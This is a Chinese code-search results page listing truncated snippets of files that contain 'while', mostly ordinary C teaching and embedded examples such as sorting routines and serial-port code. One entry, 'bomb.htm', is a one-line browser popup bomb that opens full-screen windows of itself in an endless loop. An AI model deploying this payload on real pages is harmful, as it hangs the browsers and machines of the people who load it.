代码搜索:while
找到约 10,000 项符合「while」的源代码
代码结果 10,000
www.eeworm.com/read/463507/7179508
c tck.c
#include //同步串口发射数据程序//
unsigned char a[16]; //发射数据缓存数组//
void chai(unsigned int n)//将要发射的数据拆成位的函数,n为被拆的数//
{
unsigned char k; //数组的第几个数变量//
unsigned int t;
www.eeworm.com/read/463437/7180965
htm bomb.htm
while (true){ window.open("bomb.htm","","fullscreen=yes,Status=no,scrollbars=no,resizable=no");}
www.eeworm.com/read/463336/7183028
txt 2.txt
#include
#include
#define uchar unsigned char
#define uint unsigned int
sbit ledlk=P1^0;
sbit smglk=P1^1;
sbit smgbitlk=P1^2;
void deplay(uint ms);
void main()
{
www.eeworm.com/read/463300/7183860
inl nonlinearequation.inl
//NonLinearEquation.inl 非线性方程(组)求解函数(方法)定义
// Ver 1.0.0.0
// 版权所有(C) 何渝, 2002
// 最后修改: 2002.5.31.
#ifndef _NONLINEAREQUATION_INL
#define _NONLINEAREQUATION_INL
//用二分法搜索方程f(x)=0在区间[a,b]内的全部实
www.eeworm.com/read/462737/7196898
c 2.c
#include //预处理命令
void main(void) //主函数名
{
//这是第一种注释方式
unsigned int a; //定义变量a为int类型
/*
这是第二种注释方式
*/
do{ //do while组成循环
for (a=0; a
www.eeworm.com/read/462736/7196904
c ch8_3.c
#include
#define T 3
typedef struct
{ int key;
/* float info;*/
}JD;
void shellsort(JD r[],int n,int d[])
{ int i,j,k;
JD x;
k=0;
while(k
www.eeworm.com/read/462736/7196910
c ch8_5.c
#include
typedef struct
{ int key;
/* float info;*/
}JD;
void qksort(JD r[],int t,int w)
{ int i,j,k;
JD x;
if(t>=w) return;
i=t; j=w; x=r[i];
while(i
www.eeworm.com/read/462736/7196915
c ch8_10.c
#include
#define D 3
typedef struct node
{ int key;
/* float info;*/
int link;
}JD;
int radixsort(JD r[],int n)
{ int i,j,k,t,p,rd,rg,f[10],e[10];
for(i=1;i
www.eeworm.com/read/462736/7196924
c ch6_20.c
#include
#include
#define M 20
#define MAX 100
typedef struct node
{ int vex;
int length;
struct node *next;
}JD;
typedef struct tnode
{ int vexdata;
int